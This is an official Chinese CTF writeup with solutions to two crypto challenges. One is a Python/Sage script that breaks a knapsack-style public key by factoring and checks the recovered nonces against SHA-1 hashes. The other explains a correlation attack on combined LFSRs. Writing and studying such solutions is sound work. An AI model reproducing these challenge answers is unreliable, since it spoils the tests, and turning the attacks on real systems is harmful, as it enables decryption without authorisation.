XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

crypto

backpack

exp

from Crypto.Util.number import long_to_bytes
import hashlib
from factordb.factordb import FactorDB
​
pubkey1 = [8930448158498015802128308882328123144827, 4465224079249007901064154441164061572462, 2232612039624503950532077220582030786213, 5621262632766512873643055551054058775649, 2810631316383256436821527775527029387868, 5910272271145889116787780828526558076471, 7460092748527205456770907355026322420739, 3730046374263602728385453677513161210371, 6369979800086062262569743779519623987722, 7689946512997292029661888830522855376388, 8349929869452906913207961356024471070722, 8679921547680714354980997618775278917878, 4339960773840357177490498809387639458996, 6674936999874439487122266345456863111997, 3337468499937219743561133172728431556032, 6173690862922870770157583527127259160557, 7591802044415696283455808704326672962794, 3795901022207848141727904352163336481389, 1897950511103924070863952176081668240744, 948975255551962035431976088040834120378, 4979444240730241916093004984783460442695, 2489722120365120958046502492391730221350, 1244861060182560479023251246195865110695, 5127387143045541137888642563860975937901, 7068650184477031467321338222693531351501, 3534325092238515733660669111346765675781, 6272119159073518765207351496436426220389, 3136059579536759382603675748218213110236, 1568029789768379691301837874109106555114, 5288971507838450744027935877817596660119, 2644485753919225372013967938908798330079, 5827199489913873584384000910217442547580, 7418556357911197690569017395871764656325, 3709278178955598845284508697935882328185, 6359595702432060321019271289730984546600, 3179797851216030160509635644865492273322, 6094855538562275978631834763195789519227, 3047427769281137989315917381597894759610, 6028670497594829893034975631561990762311, 3014335248797414946517487815780995381206, 6012124237352968371635760848653541073121, 3006062118676484185817880424326770536557, 1503031059338242092908940212163385268336, 751515529669121046454470106081692634186, 4880714377788821421604251993803889699594, 6945313801848671609179142937664988232375, 3472656900924335804589571468832494116175, 1736328450462167902294785734416247058102, 868164225231083951147392867208123529068, 4939038725569802873950713374367105147046, 2469519362784901436975356687183552573567, 5739716294346711616864695284354819669282, 2869858147173355808432347642177409834695, 5939885686540938802593190761851748299861, 2969942843270469401296595380925874149937, 5989928034589495599025314631225980457481, 2994964017294747799512657315612990228800, 6002438621601634798133345598569538496930, 3001219310800817399066672799284769248469, 1500609655400408699533336399642384624256, 750304827700204349766668199821192312156, 4880109026804363073260351040673639538626, 2440054513402181536630175520336819769341, 5724983869655351666692104700931453267169, 2862491934827675833346052350465726633620, 5936202580368098815050043115995906699348, 7473057903138310305902038498760996732185, 8241485564523416051328036190143541748658, 8625699395215968924041035035834814256872, 8817806310562245360397534458680450510990, 8913859768235383578575784170103268638021, 8961886497071952687664909025814677701539, 4480943248535976343832454512907338850799, 6745428237222249070293244197216712807950, 3372714118611124535146622098608356404003, 1686357059305562267573311049304178202011, 843178529652781133786655524652089100991, 4926545877780651465270344703089087933016, 2463272938890325732635172351544543966520, 1231636469445162866317586175772271983301, 5120774847676842331535810028649179374201, 7065344036792682064144921955087633069619, 8037628631350601930449477918306859917362, 4018814315675300965224738959153429958670, 6514363770791911380989386420339758361901, 7762138498350216588871710150932922563455, 3881069249175108294435855075466461281731, 6445491237541815045594944478496274023443, 7727702231725168421174489180011180394209, 3863851115862584210587244590005590197127, 1931925557931292105293622295002795098614, 965962778965646052646811147501397549328, 482981389482823026323405573750698774701, 241490694741411513161702786875349387333, 4625701960324966654957868334200718076198, 2312850980162483327478934167100359038139, 5661382103035502562116484024313222901626, 7335647664472012179435258952919654833358, 3667823832236006089717629476459827416696, 1833911916118003044858814738229913708385]
ct1 = 249003040588627839758979396486400138564443
t = abs(2*pubkey1[3]-pubkey1[2])
for i in range(-100, 100):
   f = list(factor(t+i))
   if len(f) == 2:
       print(t+i)
       print(f)
       p = f[0][0]
       q = f[1][0]
       c1 = ct1%p
       c2 = ct1%q - q
       pt = c1 - c2
       if hashlib.sha1(long_to_bytes(pt)).hexdigest() == "51d6169bcc32acb2a4d3b1a8d9c6ed0c9a909974":
           print(p, q)
           nonce1 = long_to_bytes(pt)
           break
​
​
pubkey2 = [11617089574048495627606452331959034000544383535732546369818309032016631319516586852335070823009683246490168, 20013164487796581558484049885715141630889111102130256360263677343682117455943065046963232757394199191045541, 10006582243898290779242024942857570815444555551065128180131838671841058727971532523481616378697099595522750, 5003291121949145389621012471428785407722277775532564090065919335920529363985766261740808189348549797761419, 2501645560974572694810506235714392703861138887766282045032959667960264681992883130870404094674274898880695, 15455442481259620092086076837592820982547488778147124197871002661653934137181213186230899393226495017240763, 7727721240629810046043038418796410491273744389073562098935501330826967068590606593115449696613247508620412, 18068480321087238767702342929133829876253791528800764224822273493087285330480074917353422194195981322110633, 23238859861315953128531995184302539568743815098664365287765659574217444461424809079472408442987348228855770, 11619429930657976564265997592151269784371907549332182643882829787108722230712404539736204221493674114427881, 20014334666101322026813822515811259522802873108930074497295937721228162911540973890663799456636194625014381, 24211787033822994758087734977641254392018355888729020424002491688287883251955258566127597074207454880307637, 12105893516911497379043867488820627196009177944364510212001245844143941625977629283063798537103727440153837, 6052946758455748689521933744410313598004588972182255106000622922071970812988814641531899268551863720076902, 17231093080000208089441790591940781429619213820355110728354834288709787202679178941561646980165289427838892, 8615546540000104044720895295970390714809606910177555364177417144354893601339589470780823490082644713919470, 4307773270000052022360447647985195357404803455088777682088708572177446800669794735390411745041322356959776, 2153886635000026011180223823992597678702401727544388841044354286088723400334897367695205872520661178479919, 1076943317500013005590111911996298839351200863772194420522177143044361700167448683847602936260330589239943, 14743091359522340247475879675733774050292519766150080385615611399195982646268495962719498814019522862420386, 7371545679761170123737939837866887025146259883075040192807805699597991323134247981359749407009761431210229, 3685772839880585061868969918933443512573129941537520096403902849798995661567123990679874703504880715605130, 16047506120712626275615308679202346386903484305032743223556474252573299626968333616135634697641797925603019, 22228372761128646882488478059336797824068661486780354787132759953960451609668938428863514694710256530601947, 25318806081336657185925062749404023542651250077654160568920902804654027601019240835227454693244485833101385, 12659403040668328592962531374702011771325625038827080284460451402327013800509620417613727346622242916550710, 6329701520334164296481265687351005885662812519413540142230225701163506900254810208806863673311121458275380, 17369470460939415892921456563411127573448325593970753246469635678255555246312176725199129182544918296938144, 8684735230469707946460728281705563786724162796985376623234817839127777623156088362599564591272459148469061, 18546987316007187717911187860588406523979000732756671486971931747237690607762815802095479641525587142034980, 23478113358775927603636417650029827892606419700642318918840488701292647100066179521843437166652151138817936, 11739056679387963801818208825014913946303209850321159459420244350646323550033089760921718583326075569408987, 5869528339693981900909104412507456973151604925160579729710122175323161775016544880460859291663037784704512, 17139383870619324695135375925989353117192721796844273040209583915335382683693044061026126991720876460152711, 22774311636081996092248511682730301189213280232686119695459314785341493138031293651308760841749795797876746, 25591775518813331790805079561100775225223559450607043023084180220344548365200418446450077766764255466738802, 12795887759406665895402539780550387612611779725303521511542090110172274182600209223225038883382127733369397, 20602563580475666692382093610010818436922809196915743931125567882759938887484876232408216787580421434485171, 10301281790237833346191046805005409218461404598457871965562783941379969443742438116204108393790210717242567, 5150640895118916673095523402502704609230702299228935982781391970689984721871219058102054196895105358621286, 2575320447559458336547761701251352304615351149614467991390695985344992360935609529051027098447552679310697, 15492279924552062912954704570361300782924594909071217171049870820346297976652576385321210895113133907455742, 21950759663048365201158176004916275022079216788799591760879458237846950784511059813456302793445924521528296, 25179999532296516345259911722193762141656527728663779055794251946597277188440301527523848742612319828564578, 26794619466920591917310779580832505701445183198595872703251648800972440390404922384557621717195517482082708, 13397309733460295958655389790416252850722591599297936351625824400486220195202461192278810858597758741041401, 20903274567502481724008518614943751055978215133912951351167435027916911893786002216935102775188236938321106, 24656256984523574606685083027207500158606026901220458850938240341632257743077772729263248733483476036961007, 12328128492261787303342541513603750079303013450610229425469120170816128871538886364631624366741738018480490, 6164064246130893651671270756801875039651506725305114712734560085408064435769443182315812183370869009240304, 3082032123065446825835635378400937519825753362652557356367280042704032217884721591157906091685434504620125, 1541016061532723412917817689200468759912876681326278678183640021352016108942360795578953045842717252310124, 770508030766361706458908844600234379956438340663139339091820010676008054471180397789476522921358626155034, 385254015383180853229454422300117189978219170331569669545910005338004027235590198894738261460679313077519, 14397246708463924171295550930885683225606028919429768010127477830342803809802566720243066476619697224339182, 21403243055004295830328599185178466243419933793978867180418261742845203701086054980917230584199206179970020, 10701621527502147915164299592589233121709966896989433590209130871422601850543027490458615292099603089985002, 19555430464523407702262973516030241191471902782758699970459088263385102721456285366025004991939159112792921, 9777715232261703851131486758015120595735951391379349985229544131692551360728142683012502495969579556396464, 4888857616130851925565743379007560297867975695689674992614772065846275680364071341506251247984789778198233, 16649048508837759707463695409239404779550907182108820671661908860596939636366807291548822969881752456899564, 8324524254418879853731847704619702389775453591054410335830954430298469818183403645774411484940876228449794, 18366881827981773671546747572045475825504646129791188343270000042823036705276473443682903088359795682025340, 9183440913990886835773373786022737912752323064895594171635000021411518352638236721841451544179897841012683, 18796340157767777162567510612746993586993080866711780261172022838379560972503889981716423117979306488306772, 9398170078883888581283755306373496793496540433355890130586011419189780486251944990858211558989653244153396, 4699085039441944290641877653186748396748270216677945065293005709594890243125972495429105779494826622076717, 16554162220493305890001762546328998828991054442602955708001025682471246917747757868510250235636770878838769, 8277081110246652945000881273164499414495527221301477854000512841235623458873878934255125117818385439419436, 18343160255895660217181264356317874337864682944914722102354779248291613525621711087923259904798550287510147, 23376199828720163853271455897894561799549260806721344226531912451819608558995627164757327298288632711555512, 11688099914360081926635727948947280899774630403360672113265956225909804279497813582378663649144316355777770, 5844049957180040963317863974473640449887315201680336056632978112954902139748906791189331824572158177888903, 17126644679362354226339755706972444855560576935104151203671011884151252866059225016390363258175436656744888, 22767942040453510857850701573221847058397207801816058777190028769749428229214384128990878974977075896172878, 11383971020226755428925350786610923529198603900908029388595014384874714114607192064495439487488537948086477, 5691985510113377714462675393305461764599301950454014694297507192437357057303596032247719743744268974043249, 2845992755056688857231337696652730882299650975227007347148753596218678528651798016123859871872134487021649, 15627616078300678173296492568061990071766744821877486848928899625783141060510670628857627281825424811311262, 7813808039150339086648246284030995035883372410938743424464449812891570530255335314428813640912712405655628, 18111523720347503288004946861751122148558605539733354887586747734119587061312439278010104166345713770628222, 9055761860173751644002473430875561074279302769866677443793373867059793530656219639005052083172856885314162, 4527880930086875822001236715437780537139651384933338721896686933529896765328109819502526041586428442657072, 16468560165815771655681442077454514899186745026730652536302866294438750178848826530546960366682571789129000, 22438899783680219572521544758462882080210291847629309443505955974893176885609184886069177529230643462364924, 25424069592612443530941596098967065670722065258078637897107500815120390238989364063830286110504679298982888, 26916654497078555510151621769219157465977951963303302123908273235233996915679453652710840401141697217291874, 27662946949311611499756634604345203363605895315915634237308659445290800254024498447151117546460206176446389, 13831473474655805749878317302172601681802947657957817118654329722645400127012249223575558773230103088223220, 21120356438100236619619982370821925471518393163242891734681687688996501859690896232583476732504409111912030, 10560178219050118309809991185410962735759196581621445867340843844498250929845448116291738366252204555956002, 5280089109525059154904995592705481367879598290810722933670421922249125464922724058145869183126102277978002, 2640044554762529577452497796352740683939799145405361466835210961124562732461362029072934591563051138989031, 1320022277381264788726248898176370341969899572702680733417605480562281366230681014536467295781525569494501, 660011138690632394363124449088185170984949786351340366708802740281140683115340507268233647890762784747251, 330005569345316197181562224544092585492474893175670183354401370140570341557670253634116823945381392373685, 14369622485444991843271604832007670923363156780851818267031723512744086966963606747612755757862048263987251, 7184811242722495921635802416003835461681578390425909133515861756372043483481803373806377878931024131993630, 3592405621361247960817901208001917730840789195212954566757930878186021741740901686903188939465512065996861, 16000822511452957725089774323736583496037313931870460458733488266766812667055222464247291815622113600798836, 22205030956498812607225710881603916378635576300199213404721266961057208129712382852919343253700414368199828, 25307135179021740048293679160537582819934707484363589877715156308202405861040963047255368972739564751900343, 12653567589510870024146839580268791409967353742181794938857578154101202930520481523627684486369782375950207, 6326783794755435012073419790134395704983676871090897469428789077050601465260240761813842243184891187975100, 3163391897377717506036709895067197852491838435545448734714394538525300732630120380906921121592445593987587, 15786315649461192497699178667269223556862838552036707542711720096936452162499831811249157906685580364794218, 7893157824730596248849589333634611778431419276018353771355860048468226081249915905624578953342790182397113, 18151198613137631869105618386552930519832628972273160061032452851907914836809729573607986822560752658998976, 9075599306568815934552809193276465259916314486136580030516226425953957418404864786803993411280376329499495, 18742419354056741711957228316373857260575076577332273190612636040650780505387204014197694051529545732550165, 9371209677028370855978614158186928630287538288666136595306318020325390252693602007098847025764772866275102, 4685604838514185427989307079093464315143769144333068297653159010162695126346801003549423512882386433137595, 16547422120029426458675477259282356788188803906430517324181102332755149359358172122570409102330550784369239, 22478330760787046974018562349376803024711321287479241837445073994051376475863857682080901897054632959985071, 11239165380393523487009281174688401512355660643739620918722536997025688237931928841040450948527316479992531, 5619582690196761743504640587344200756177830321869810459361268498512844118965964420520225474263658239996260, 2809791345098380871752320293672100378088915160934905229680634249256422059482982210260112737131829119998177, 1404895672549190435876160146836050189044457580467452614840317124628211029741491105130056368565914559999066, 14907067537046928962618903793153649725139148124497709482774681389987907311055517173360725530172314847800006, 21658153469295798225990275616312449493186493396512837916741863522667755451712530207476060110975514991700403, 25033696435420232857675961527891849377210166032520402133725454589007679522041036724533727401377115063650666, 12516848217710116428837980763945924688605083016260201066862727294503839761020518362266863700688557531825341, 20463043809627391959099814101708586974919460842394083708785886474925721676695030801929129196233636333713127, 10231521904813695979549907050854293487459730421197041854392943237462860838347515400964564598116818166856595, 5115760952406847989774953525427146743729865210598520927196471618731430419173757700482282299058409083428308, 16762500176975757739568300482449198002481851939563243638952758637039517005771650471036838495418562109514555, 22585869789260212614464973960960223631857845304045604994830902146193560299070596856314116593598638622557704, 11292934894630106307232486980480111815928922652022802497415451073096780149535298428157058296799319311278859, 19851087148087386898297067209975680538581380660275384424062248364222191870952420834874226494289017223439855, 9925543574043693449148533604987840269290690330137692212031124182111095935476210417437113247144508611719959, 19167391487794180469255090522229544765262264499332829281370084918729349763922876829514253969461611873660410, 23788315444669423979308368980850397013248051583930397816039565287038476678146210035552824330620163504630616, 26098777423107045734335008210160823137240945126229182083374305471193040135257876638572109511199439320115751, 27254008412325856611848327824816036199237391897378574217041675563270321863813709940081752101489077227858313, 13627004206162928305924163912408018099618695948689287108520837781635160931906854970040876050744538613929149, 21018121803853797897642905675939633680426267308608626729614941718491382262138199105816135371261626874765043, 10509060901926898948821452837969816840213133654304313364807470859245691131069099552908067685630813437382497, 5254530450963449474410726418984908420106566827152156682403735429622845565534549776454033842815406718691260, 2627265225481724737205363209492454210053283413576078341201867714811422782767274888227016921407703359345630, 15518252313513196113283505324481851735643561041052022345955456685079513187568409064909205806593209247473256, 21963745857528931801322576381976550498438699854789994348332251170213558389968976153250300249185962191537053, 25186492629536799645342111910723899879836269261658980349520648412780580991169259697420847470482338663568951, 12593246314768399822671055955361949939918134630829490174760324206390290495584629848710423735241169331784468, 20501242858156533656016351697416599600575986649678728262734684930868947043977086545150909213509942233692680, 10250621429078266828008175848708299800287993324839364131367342465434473521988543272575454606754971116846348, 5125310714539133414004087924354149900143996662419682065683671232717236760994271636287727303377485558423177, 2562655357269566707002043962177074950071998331209841032841835616358618380497135818143863651688742779211591, 15485947379407117098181845700824162105652918499868903691775440635853110986433339529867629171733728957406233, 7742973689703558549090922850412081052826459249934451845887720317926555493216669764933814585866864478703151, 18076106545624113019226285144941665157030148959231209098298382986637079542793106503262604638822789807152001, 23242672973584390254293966292206457209131993813879587724503714320992341567581324872426999665300752471376444, 25825956187564528871827806865838853235182916241203777037606379988169972579975434057009197178539733803488619, 27117597794554598180594727152655051248208377454865871694157712821758788086172488649300295935159224469544736, 27763418598049632834978187296063150254721108061696919022433379238553195839271015945445845313468969802572788, 28086328999797150162169917367767199757977473365112442686571212446950399715820279593518620002623842469086835, 14043164499898575081084958683883599878988736682556221343285606223475199857910139796759310001311921234543442, 7021582249949287540542479341941799939494368341278110671642803111737599928955069898379655000655960617271708, 17715410825746977514952063390706524600364103504903038511175924383542601760662306569985524846217337876436278, 8857705412873488757476031695353262300182051752451519255587962191771300880331153284992762423108668938218182, 18633472407209078123418839567412255780707945210489742803148503923559452236350348263292078557443692036909546, 9316736203604539061709419783706127890353972605244871401574251961779726118175174131646039278721846018454763, 18862987802574603275535533611588688575793905636886418876141648808563664855272358686618716985250280577027846, 9431493901287301637767766805794344287896952818443209438070824404281832427636179343309358492625140288513923, 18920366651415984563564707122632796774565395743485587894389935029814718010002861292450376592201927712057386, 9460183325707992281782353561316398387282697871742793947194967514907359005001430646225188296100963856028683, 18934711363626329885572000500393823824258268270135380148952006585127481298685486943908291493939839495814779, 9467355681813164942786000250196911912129134135067690074476003292563740649342743471954145746969919747907380, 4733677840906582471393000125098455956064567067533845037238001646281870324671371735977072873484959873953733, 16571458621225624980377323782284852608649202868030905693973523650814736958520457488784233782631837504777282, 8285729310612812490188661891142426304324601434015452846986761825407368479260228744392116891315918752388666, 4142864655306406245094330945571213152162300717007726423493380912703684239630114372196058445657959376194369, 16276052028425536867227989192521231206698069692767846387101213284025643915999828806893726568718337255897587, 22342645714985102178294818315996240233965954180647906368905129469686623754184686024242560630248526195749219, 11171322857492551089147409157998120116982977090323953184452564734843311877092343012121280315124263097874618, 19790281129518609289254528298734684689108407879425959767580805195095457734730943126856337503451489116737749, 9895140564759304644627264149367342344554203939712979883790402597547728867365471563428168751725744558368873, 4947570282379652322313632074683671172277101969856489941895201298773864433682735781714084375862872279184440, 16678404841962159905837639757077460216755470319192228146302123477060734013026139511652739533820793707392672, 8339202420981079952918819878538730108377735159596114073151061738530367006513069755826369766910396853696322, 18374220911262873721140233659004989684805786914062040211930053696938985299441306498708882229344555994648607, 23391730156403770605250940549238119473019812791295003281319549676143294445905424870150138460561635565124748, 11695865078201885302625470274619059736509906395647501640659774838071647222952712435075069230280817782562409, 20052552239873276395993558857045154498871872532087733995684410246709625407661127838333231961029766459081616, 24230895820708971942677603148258201880052855600307850173196727951028614500015335539962313326404240797341239, 26320067611126819716019625293864725570643347134417908261952886803188109046192439390776854009091477966471056, 27364653506335743602690636366667987415938592901472937306330966229267856319280991316184124350435096551035976, 13682326753167871801345318183333993707969296450736468653165483114633928159640495658092062175217548275518013, 21045783077356269645353482811402621484601567559632217501937264384990765876005019449841728433498131705559425, 24727511239450468567357565125436935372917703114080091926323155020169184734187281345716561562638423420580155, 12363755619725234283678782562718467686458851557040045963161577510084592367093640672858280781319211710290069, 20386497510634950886520215001094858473846345112784006156935311582716097979731591957224837736548963422945468, 10193248755317475443260107500547429236923172556392003078467655791358048989865795978612418868274481711472774, 5096624377658737721630053750273714618461586278196001539233827895679024494932897989306209434137240855736397, 16752931889601702605495850594872481939847712473361983944971436775513314043651220615448802062957977995668639, 8376465944800851302747925297436240969923856236680991972485718387756657021825610307724401031478988997834317, 4188232972400425651373962648718120484961928118340495986242859193878328510912805153862200515739494498917198, 16298736186972546570367805044094684873097883393434231168475952424612966051641174197726797603759104817259039, 8149368093486273285183902522047342436548941696717115584237976212306483025820587098863398801879552408629558, 18279303747515470387272774980759295848891390182622540967473510933827043309095065170227396746829133772115213, 23344271574530068938317211210115272555062614425575253659091278294587323450732304205909395719303924453858035, 25876755488037368213839429324793260908148226547051610004900161974967463521550923723750395205541319794729419, 12938377744018684106919714662396630454074113273525805002450080987483731760775461861875197602770659897364740, 20673808572781675798140681050933939857653975971026885676579563321415667676572502551733296147274687516482797, 24541523987163171643751164245202594559443907319777426013644304488381635634471022896662345419526701326041815, 12270761993581585821875582122601297279721953659888713006822152244190817817235511448331172709763350663020958, 6135380996790792910937791061300648639860976829944356503411076122095408908617755724165586354881675331510508, 3067690498395396455468895530650324319930488414972178251705538061047704454308877862082793177440837665755262, 15738464949970031972415271485060786790582163541750072301207291858197654023339210551837093934609776400678041, 7869232474985015986207635742530393395291081770875036150603645929098827011669605275918546967304888200339052, 3934616237492507993103817871265196697645540885437518075301822964549413505834802637959273483652444100169549, 16171927819518587741232732655368222979439689776982742213005434309948508549102172939775334087715579617885231, 22290583610531627615297190047419736120336764222755354281857239982648056070735858090683364389747147376743001, 11145291805265813807648595023709868060168382111377677140928619991324028035367929045341682194873573688371553, 5572645902632906903824297511854934030084191055688838570464309995662014017683964522670841097436786844185758, 2786322951316453451912148755927467015042095527844419285232154997831007008841982261335420548718393422092919, 15597781176430560470636898097699358138137967098186192817970600326589305300605762751463407620248554278846905, 22003510288987613979999272768585303699685902883357079584339822990968454446487652996527401156013634707223862, 11001755144493806989999636384292651849842951441678539792169911495484227223243826498263700578006817353611957, 19705497273019237239680641911881950555538395055103253071439478575415915407806684869927547634892766244606382, 9852748636509618619840320955940975277769197527551626535719739287707957703903342434963773817446383122303216, 4926374318254809309920160477970487638884598763775813267859869643853978851951671217481886908723191561151637, 2463187159127404654960080238985243819442299381887906633929934821926989425975835608740943454361595780575816, 15436213280336036072160863839228246540338069025207936492319490238637296509172689425166169073070155458088331, 7718106640168018036080431919614123270169034512603968246159745119318648254586344712583084536535077729044184, 18063673020856342762721039679542686265701436590565967298434395387333125923477943977087239614156896432322558, 9031836510428171381360519839771343132850718295282983649217197693666562961738971988543619807078448216161261, 18720537955986419435361083639621296197042278481905474999963121674507083277054257615067507249428581675881098, 23564888678765543462361365539546272729138058575216720675336083664927343434711900428329450970603648405740968, 25987064040155105475861506489508760995185948621872343513022564660137473513540721834960422831191181770670911, 27198151720849886482611576964490005128209893645200154931865805157742538552955132538275908761484948453135907, 27803695561197276985986612201980627194721866156864060641287425406545071072662337889933651726631831794368385, 13901847780598638492993306100990313597360933078432030320643712703272535536331168944966825863315915897184216, 6950923890299319246496653050495156798680466539216015160321856351636267768165584472483412931657957948592146, 3475461945149659623248326525247578399340233269608007580160928175818133884082792236241706465828978974296069, 15942350673347163556304986982359413830287035969067986965434986915582868738226167738916550578803847054948475, 22175795037445915522833317210915331545760437318797976658072016285465236165297855490253972635291281095274640, 11087897518722957761416658605457665772880218659398988329036008142732618082648927745126986317645640547637370, 19748568460133812625389153022464457517057028663963477339872526899040110837509235493359190504712177841619096, 9874284230066906312694576511232228758528514331981738669936263449520055418754617746679595252356088920809593, 19141761815805786901028111975351739009881176500254852510322654552433829505562080494135494972067402028205248, 9570880907902893450514055987675869504940588250127426255161327276216914752781040247067747486033701014102596, 4785440453951446725257027993837934752470294125063713127580663638108457376390520123533873743016850507051301, 2392720226975723362628513996918967376235147062531856563790331819054228688195260061766936871508425253525689, 1196360113487861681314256998459483688117573531265928281895165909527114344097630030883468435754212626762856, 598180056743930840657128499229741844058786765632964140947582954763557172048815015441734217877106313381469, 299090028371965420328564249614870922029393382816482070473791477381778586024407507720867108938553156690753, 149545014185982710164282124807435461014696691408241035236895738690889293012203753860433554469276578345381, 14279392207865325099762964782139342361124267679968103692972970697019246442690873497725914123123995856973136, 7139696103932662549881482391069671180562133839984051846486485348509623221345436748862957061561997928486597, 3569848051966331274940741195534835590281066919992025923243242674254811610672718374431478530780998964243287, 15989543726755499382151194317503042425757452794259996136976144164801207601521130808011436611279857049922087, 7994771863377749691075597158751521212878726397129998068488072082400603800760565404005718305639928524961050, 3997385931688874845537798579375760606439363198564999034244036041200301900380282702002859152819964262480555, 16203312666616771167449723009423504933836600933546482692476540848273952746374912971797126922299339699040675, 8101656333308385583724861504711752466918300466773241346238270424136976373187456485898563461149669849520375, 4050828166654192791862430752355876233459150233386620673119135212068488186593728242949281730574834924760191, 2025414083327096395931215376177938116729575116693310336559567606034244093296864121474640865287417462380136, 1012707041663548197965607688088969058364787558346655168279783803017122046648432060737320432643708731190067, 506353520831774098982803844044484529182393779173327584139891901508561023324216030368660216321854365595036, 14457796461188220794172225641757866895208116223850646967424468778428082307846879635980027454050284750597940, 7228898230594110397086112820878933447604058111925323483712234389214041153923439817990013727025142375298978, 17819068816069388943223880130175091354418948390226644917210640022280822373146491529790704209401928755449908, 23114154108807028216292763784823170307826393529377305633959842838814212982758017385691049450590321945525414, 11557077054403514108146381892411585153913196764688652816979921419407106491379008692845524725295160972762734, 5778538527201757054073190946205792576956598382344326408489960709703553245689504346422762362647580486381366, 17093888964373212271717419192838520919095218525436146379599503182525578419029523794007078527213147810991143, 8546944482186606135858709596419260459547609262718073189799751591262789209514761897003539263606573905495564, 18478091941865636812610178517945254860390723965623019770254398623305196400942152569297466977692644520548195, 23443665671705152150985912978708252060812281317075493060481722139326399996655847905444430834735679828074565, 25926452536624909820173780209089750661023059992801729705595383897337001794512695573517912763257197481837715, 12963226268312454910086890104544875330511529996400864852797691948668500897256347786758956381628598740918882, 20686232834928561199724268772008062295872684332464415601753368802008052244812945514175175536703656938259888, 24547736118236614344542958105739655778553261500496190976231207228677827918591244377883285114241186036930346, 12273868059118307172271479052869827889276630750248095488115603614338913959295622188941642557120593018465188, 6136934029559153586135739526434913944638315375124047744057801807169456979647811094470821278560296509232601, 17273086715551910537748693482953081602936077021826007047383423731258530286008677168031107985169505822416723, 22841163058548289013555170461212165432084957845176986699046234693303066939189110204811251338474110479008813, 25625201230046478251458408950341707346659398256852476524877640174325335265779326723201323015126412807304862, 12812600615023239125729204475170853673329699128426238262438820087162667632889663361600661507563206403652408, 6406300307511619562864602237585426836664849564213119131219410043581333816444831680800330753781603201826220, 3203150153755809781432301118792713418332424782106559565609705021790666908222415840400165376890801600913116, 1601575076877904890716150559396356709166212391053279782804852510895333454111207920200082688445400800456593, 800787538438952445358075279698178354583106195526639891402426255447666727055603960100041344222700400228327, 14605013469991809967359861359584713807908472432027303121055735955397635159712573600845718018000707767914610, 21507126435768238728360754399527981534571155550277634735882390805372619376041058421218556354889711451757748, 10753563217884119364180377199763990767285577775138817367941195402686309688020529210609278177444855725878898, 5376781608942059682090188599881995383642788887569408683970597701343154844010264605304639088722427862939452, 16893010505243363585725918019676622322438313778048687517339821678345379218189903923448016890250571499270169, 22651124953394015537543782729573935791836076223288326934024433666846491405279723582519705791014643317435491, 25530182177469341513452715084522592526534957445908146642366739661097047498824633412055550241396679226518211, 26969710789507004501407181261996920893884398057218056496537892658222325545597088326823472466587697181059521, 27689475095525835995384414350734085077559118362873011423623469156784964568983315784207433579183206158330185, 13844737547762917997692207175367042538779559181436505711811734578392482284491657892103716789591603079165109, 21126988474653792743526927307419145900006698924982236031260390116870042938430600566847555740685159107382959, 10563494237326896371763463653709572950003349462491118015630195058435021469215300283423777870342579553691492, 5281747118663448185881731826854786475001674731245559007815097529217510734607650141711888935171289776845789, 16845493260104057837621689633163017868117756699886762679262071592282557163488596691651641813475002456223314, 22627366330824362663491668536317133564675797684207364514985558623815080377929069966621518252626858795912100, 11313683165412181331745834268158566782337898842103682257492779311907540188964534983310759126313429397956057, 19861461283478424410553740853814908021785868755315824304100912483627571890667039112451076909046072266778463, 9930730641739212205276870426907454010892934377657912152050456241813785945333519556225538454523036133389248, 19169985021641939847319258933189351636063386523092939251379750948580694768851531398908466573150875634495046, 23789612211593303668340453186330300448648612595810452801044398301964149180610537320249930632464795385047977, 26099425806568985578851050312900774854941225632169209575876721978655876386490040280920662662121755260324415, 27254332604056826534106348876186012058087532150348587963292883817001739989429791761256028676950235197962663, 27831786002800747011733998157828630659660685409438277157000964736174671790899667501423711684364475166781780, 13915893001400373505866999078914315329830342704719138578500482368087335895449833750711855842182237583390870, 21162566201472520497614323259192782295532090686623552464604764011717469743909688496151625266980476359495850, 24785902801508593993487985349332015778382964677575759407656904833532536668139615868871509979379595747548355, 12392951400754296996743992674666007889191482338787879703828452416766268334069807934435754989689797873774213, 20401095401149482243052820057068628575212660503657923027268749036056935963219675588013574840734256504687551, 10200547700574741121526410028534314287606330251828961513634374518028467981609837794006787420367128252343809, 5100273850287370560763205014267157143803165125914480756817187259014233990804918897003393710183564126171882, 16754756625916019025062426226869203202518501897221223553763116457180918791587231069297394200981139630886391, 22581998013730343257212036833170226231876170282874594952236081056264261191978387155444394446379927383243624, 11290999006865171628606018416585113115938085141437297476118040528132130595989193577722197223189963691621807, 5645499503432585814303009208292556557969042570718648738059020264066065297994596788861098611594981845810950, 2822749751716292907151504604146278278984521285359324369029510132033032648997298394430549305797490922905469, 15615994576630480198256576021808763770109179976943645359869277893690318120683420818010971998788103029253166, 7807997288315240099128288010904381885054589988471822679934638946845159060341710409005485999394051514626597]
ct2 = 2392102864029606341713283405820558372624777050411410395969738848933509252455825087540044061561675779855718270
print("stage2")
t = abs(2*pubkey2[1]-pubkey2[0])
for i in range(-100, 100):
   f = FactorDB(t+i)
   #f = ecm.factor(t+i)有点慢用factordb查...
   f.connect()
   if f.get_status() == "FF":
       factlist = f.get_factor_list()
       print(factlist)
       p = factlist[0]
       q = factlist[1]
       c1 = ct2%p
       c2 = ct2%q - q
       pt = c1 - c2
       print(hashlib.sha1(long_to_bytes(pt)).hexdigest())
       if hashlib.sha1(long_to_bytes(pt)).hexdigest() == "2347411264fc395375fdfe3dbd6169283f3e4923":
           print(p, q)
           nonce2 = long_to_bytes(pt)
           break
print(nonce1, nonce2)
​

combinelfsr

相关攻击

本题考察的是非线性反馈移位寄存器的相关攻击方法

可以看到题目中使用了两个线性反馈移位寄存器，使用两个寄存器的初始状态生成了密钥对flag进行了加密。

由于每个状态的范围是 0-2**18

对两个状态一起进行爆破的复杂度是 2**36，是比较困难的。

继续往下看，题目对两个线性反馈移位寄存器的输出进行了combine，构成了一个 非线性反馈移位寄存器结构

def combine(r1,r2,mask1,mask2):
  (r11,x1)=lfsr(r1,mask1)
  (r22,x2)=lfsr(r2,mask2)
   return (r11,r22,(x1*x2)^(x2^1))

并且输出了1024*8个bit的结果。显然是要根据给出的结果去计算两个寄存器的初态。

这里就要用到相关攻击的方法。

我们可以枚举x1, x2,和寄存器输出的所有可能取值

x1 x2 F
0 0 1
1 1 1
0 1 0
1 0 1

我们发现 x1 == F 的概率是75%

x2 == F 的概率是25%

所以我们可以对R1单独枚举，并且用单独的lfsr代替非线性反馈移位寄存器的结果，如果和cipher相同的位数接近75%的话就认为枚举正确，而且题目给出的cipher的数据量足够大，足够在这种大量数据的基础下完成攻击。

